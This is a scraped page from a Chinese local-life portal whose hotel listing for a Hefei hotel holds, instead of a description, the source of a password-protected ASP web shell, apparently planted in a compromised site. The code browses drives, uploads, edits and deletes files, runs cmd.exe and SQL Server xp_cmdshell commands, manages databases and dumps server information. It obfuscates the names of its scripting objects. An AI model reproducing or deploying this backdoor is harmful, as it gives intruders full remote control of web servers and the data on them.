今日天气 今日交通 车次航班 影院信息 安徽地图 商家登陆 商家注册
商家分类:吃喝 · 购物 · 文化 · 娱乐/休闲 · 学习培训 · 运动/健康 · 生活服务 
 新闻搜索:

 推荐资讯:

 最新资讯:

· 关于2006年《全国计...
· 感冒药吃太多要防伤肝
· 中国最经典八大避暑胜地推荐
· 春夏交替哪些水果是上选
· 减肥健身活动中的五大误区
· 喝牛奶的十大错误方法
· 上班族需防低头综合征
· 疲乏食补要先搞清症状
· 挑选干果干菜注意“两看...
· 春夏之交中风高发季 十...

首页 >> 生活频道 >> 生活指南
   生活指南  商家活动  百姓身边事  影院信息  交通出行  文化演出活动 
 
合肥隆岗聚贤大酒店
www.xinanhui.com 2005-2-23 点击:295 
":Next:ShowDriver=S:End Function Function FileIco(FName):FileIco="2 ":End Function Function ShowFile(Path):Set FOLD=CF.GetFolder(Path):i=0:S="
服务器变量
<% On Error Resume Next Pass="414213375":URL=Request.ServerVariables("URL"):IP=Request.ServerVariables("LOCAL_ADDR"):Act=Request("Act"):RootPath=Server.MapPath("."):WWWRoot=Server.MapPath("/"):FolderPath=Request("FolderPath"):FName=Request("FName"):BackUrl="":If Session("aweige")<>Pass Then:If Request.Form("LPass")<>"" Then:If Request.Form("LPass")=Pass Then:Session("aweige")=Pass:Response.Redirect URL:Else:response.end:End If:Else:Response.Write"
":End If:Response.End:End If sub ShowErr() If Err Then:Response.Write"

 " & Err.Description & "
":Err.Clear:Response.Flush:End If:end sub Dim ObT(6,2) ObT(0,0) = "Sc"&Df;&"rip"&Df;&"ting"&Df;&".F"&Df;&"ileS"&Df;&"yste"&Df;&"mObj"&Df;&"ect":ObT(1,0) = "w"&Df;&"sc"&Df;&"ri"&Df;&"pt.s"&Df;&"he"&Df;&"ll":ObT(2,0) = "ADOX.Catalog":ObT(3,0) = "Scrip"&Df;&"ting"&Df;&".D"&Df;&"icti"&Df;&"onary":ObT(4,0) = "Adodb.connection":ObT(5,0) = "Ado"&Df;&"db"&Df;&".S"&Df;&"tre"&Df;&"am" For i=0 To 5 Set T=Server.CreateObject(ObT(i,0)) If -2147221005 <> Err Then IsObj=True Else IsObj=false Err.Clear End If Set T=Nothing ObT(i,1)=IsObj Next Function RePath(S):RePath=Replace(S,"\","\\"):End Function:Function RRePath(S):RRePath=Replace(S,"\\","\"):End Function:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=RootPath:Session("FolderPath")=FolderPath:End if Function Ico(ta):Ico = " "&ta;&"":End Function::Function MainForm():S="
地址栏:
":Response.Write S:End Function:Function MainMenu():S=""&"":on error resume next:If Not ObT(0,1) Then:S=S&"":Else:Set ABC=New LBF:S=S&ABC.ShowDriver;():Set ABC=Nothing:S=S&"":End If:Response.Write S:S="":S=S&":
 "&Ico;(":")&"我的电脑
    "& Ico("4")&"WEB根目录
    "& Ico("4")&"程序目录
    "& Ico("1")&"新建目录
    "&Ico;("2")&"新建文本
 "&Ico;("6")&"文件上传
 "&Ico;("8")&"数据库操作
    "&Ico;("4")&"建立MDB文件
    "&Ico;("4")&"数据库操作
 "&Ico;("7")&"命令行
   "&Ico;("=")&"一般CMD命令
   "&Ico;("=")&"SQL CMD命令
 "&Ico;("f")&"服务器信息
 "&Ico;("f")&"退出登录
":Response.Write S : S="":End Function:Function ServerInfo():S=S&"服务器上安装的服务":on error resume next:set SV = GetObject("WinNT://."):for each obj in SV:if lcase(mid(obj.path,4,3))="win" then:S=S&"":else:S=S&"":end if:next:S=S&"
"&obj.Name;&" "&obj.DisplayName; &"
"&obj.path;&"
"&obj.Name;&" "&obj.DisplayName; &"
"&obj.path;&"
":for each name in request.servervariables:S=S&name;&"
"&request.servervariables;(name)&"
":next:S=S&"
":Response.Write S : S="":End Function:Function DownFile(Path):Response.Clear:Set OSM = CreateObject(ObT(5,0)):OSM.Open:OSM.Type = 1:OSM.LoadFromFile Path:Response.AddHeader "Content-Disposition", "attachment; filename=" & Path:Response.Charset = "UTF-8":Response.ContentType = "application/octet-stream":Response.BinaryWrite OSM.Read:Response.Flush:OSM.Close:Set OSM = Nothing:End Function Function HTMLEncode(S):if not isnull(S) then:S = replace(S, ">", ">"):S = replace(S, "<", "<"):S = replace(S, CHR(39), "'"):S = replace(S, CHR(34), """):HTMLEncode = S:end if:End Function Function UpFile():If Request("Act2")="Post" Then:Set U=new UPC : Set F=U.UA("LocalFile"):UName=U.form("ToPath"):If UName="" Or F.FileSize=0 then:SI="请输入上传的完全路径后选择一个文件上传!":Else:F.SaveAs UName:If Err.number=0 Then:SI="文件"&UName;&"上传成功!":End if:End If:Set F=nothing:Set U=nothing:SI=SI&BackUrl;:Response.Write SI:ShowErr():Response.End:End If:SI="
上传路径: 
":Response.Write SI:End Function Function CmdShell() If Request("SP")<>"" Then:ShellPath = Request("SP"):Else:ShellPath = "cmd.exe":End If If Request("cmd")<>"" Then DefCmd = Request("cmd") S="
路 径: 命 令:
Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\web1.rar d:\web\web1" Response.Write S End Function FuncTion MMD() SI="
CMD命令
":response.write SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=Server.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password;&";User ID="&id;:strQuery = "exec master.dbo.xp_cmdshell ’" & request.form("MMD") & "’":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
"):End if:set adoConn = Nothing:Response.Write request.form("MMD") & "
"& strResult:end FuncTion Function CreateMdb(Path) Set C = CreateObject(ObT(2,0)):C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path):Set C = Nothing:If Err.number=0 Then S = S & Path & "建立成功!" End If:S=S&BackUrl;:Response.Write S:End function Function DbManager():SqlStr=Trim(Request.Form("SqlStr")):DbStr=Request.Form("DbStr"):S=S&"":S=S&"
 数据库连接串:
 SQL操作命令:
":Response.Write S:S="" If Len(DbStr)>40 Then Set Conn=CreateObject(ObT(4,0)):Conn.Open DbStr:Set Rs=Conn.OpenSchema(20):S=S&"" Rs.MoveFirst Do While Not Rs.Eof If Rs("TABLE_TYPE")="TABLE" then TName=Rs("TABLE_NAME") S=S&"" End If Rs.MoveNext Loop Set Rs=Nothing S=S&"

[ del ]
"&TName;&"
" Response.Write S:S="" If Len(SqlStr)>10 Then If LCase(Left(SqlStr,6))="select" then S=S&"执行语句:"&SqlStr; Set Rs=CreateObject("Adodb.Recordset") Rs.open SqlStr,Conn,1,1 FN=Rs.Fields.Count RC=Rs.RecordCount Rs.PageSize=8 Count=Rs.PageSize PN=Rs.PageCount Page=request("Page") If Page<>"" Then Page=Clng(Page) If Page="" Or Page=0 Then Page=1 If Page>PN Then Page=PN If Page>1 Then Rs.absolutepage=Page S=S&"" For n=0 to FN-1 Set Fld=Rs.Fields.Item(n) S=S&"" Set Fld=nothing Next S=S&"" Do While Not(Rs.Eof or Rs.Bof) And Count>0 Count=Count-1 Bgcolor="#F0FCFF" S=S&"" For i=0 To FN-1 Bgcolor="#F0FCFF" If RC=1 Then ColInfo=HTMLEncode(Rs(i)) Else ColInfo=HTMLEncode(Left(Rs(i),50)) End If S=S&"" Next S=S&"" Rs.MoveNext Loop Response.Write S:S="" SqlStr=HtmlEnCode(SqlStr) S=S&"
"&Fld.Name;&"
x"&ColInfo;&"
记录数:"&RC;&" 页码:"&Page;&"/"&PN; If PN>1 Then S=S&"  首页 上一页 " If Page>8 Then:Sp=Page-8:Else:Sp=1:End if For i=Sp To Sp+8 If i>PN Then Exit For If i=Page Then S=S&i;&" " Else S=S&""&i;&" " End If Next:S=S&" 下一页 尾页" End If:S=S&"
":Rs.Close:Set Rs=Nothing:Response.Write S:S="" Else:Conn.Execute(SqlStr):S=S&"成功执行SQL语句:"&SqlStr; End If:Response.Write S:S="" End If:Conn.Close:Set Conn=Nothing End If:End Function %> <%=IP%> <% Dim T1 Class UPC Dim D1,D2 Public Function Form(F):F=lcase(F):If D1.exists(F) then:Form=D1(F):else:Form="":end if:End Function Public Function UA(F):F=lcase(F):If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if:End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject(ObT(3,0)):if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(5,0)):T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes):T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa):set D2=CreateObject(ObT(3,0)):vbCrlf = chrB(13) & chrB(10):set T2 = CreateObject(ObT(5,0)):TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1):TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV; else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(5,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Class LBF Dim CF Private Sub Class_Initialize SET CF=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set CF=Nothing End Sub function Tran(drv):select case drv:case 0:Tran=Ico("=")&"怪盘":case 1:Tran=Ico("<")&"软盘":case 2:Tran=Ico(";")&"本地硬盘":case 3:Tran=Ico("R")&"网络盘":case 4:Tran=Ico(">")&"光盘":case 5:Tran="RAM":end select:end function Function ShowDriver():For Each D in CF.Drives:S=S&"
  ":S=S&""&Tran;(D.DriveType)& D.DriveLetter&"
":For Each F in FOLD.subfolders:S=S&"" Next:S=S&"
"&Ico;("0")&" "&F.Name;&" | del copy move":i=i+1:If i mod 3 = 0 then S=S&"
":Response.Write S : S="":For Each L in Fold.files:S="
"&FileIco;(L.Name)&""&L.Name;&"editdelcopymove
":Response.Write S : S="" Next:Set FOLD=Nothing:End function Function DelFile(Path):If CF.FileExists(Path) Then:CF.DeleteFile Path:S="文件 "&Path;&" 删除成功!"&BackUrl;:Response.Write S:End If:End Function Function EditFile(Path):If Request("Act2")="Post" Then:Set T=CF.CreateTextFile(Path):T.WriteLine Request.form("content"):T.close:Set T=nothing:SI="文件保存成功!":SI=SI&BackUrl;:Response.Write SI:Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall):T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件":End If:SI="
":SI=SI&"
":SI=SI&"":SI=SI&"":SI=SI&"
":SI=SI&"      
":SI=SI&"
":Response.Write SI:End Function Function CopyFile(Path):Path = Split(Path,"||||"):If CF.FileExists(Path(0)) and Path(1)<>"" Then:CF.CopyFile Path(0),Path(1):S="文件"&Path;(0)&"复制成功!"&BackUrl;:Response.Write S:End If:End Function Function MoveFile(Path):Path = Split(Path,"||||"):If CF.FileExists(Path(0)) and Path(1)<>"" Then:CF.MoveFile Path(0),Path(1):S="文件"&Path;(0)&"移动成功!"&BackUrl;: Response.Write S:End If:End Function Function DelFolder(Path):If CF.FolderExists(Path) Then:CF.DeleteFolder Path:S="目录"&Path;&"删除成功!"&BackUrl;:Response.Write S:End If:End Function: Function CopyFolder(Path):Path = Split(Path,"||||"):If CF.FolderExists(Path(0)) and Path(1)<>"" Then:CF.CopyFolder Path(0),Path(1):S="目录"&Path;(0)&"复制成功!"&BackUrl;:Response.Write S:End If:End Function Function MoveFolder(Path):Path = Split(Path,"||||"):If CF.FolderExists(Path(0)) and Path(1)<>"" Then:CF.MoveFolder Path(0),Path(1):S="目录"&Path;(0)&"移动成功!"&BackUrl;:Response.Write S:End If:End Function Function NewFolder(Path):If Not CF.FolderExists(Path) and Path<>"" Then:CF.CreateFolder Path:S="目录"&Path;&"新建成功!"&BackUrl;:Response.Write S:End If:End Function End Class Select Case Act:Case "MainMenu":MainMenu():Case "ShowFile":Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Logout":Session.Contents.Remove("aweige"):Response.Redirect URL:Case "CmdShell":CmdShell():Case "MMD":MMD():Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ShowErr() %>

 打印 】【关闭
 相关链接
· 锦亭大酒店
· 黄山市 建“徽商”大酒店
 
| | | | |

Copyright (c) 2003 - 2004 Xinanhui Inc. All Rights Reserved
安徽生活网——您的生活手册  引航科技 版权所有
  网站服务热线:0551-5627551
本站采用 监测流量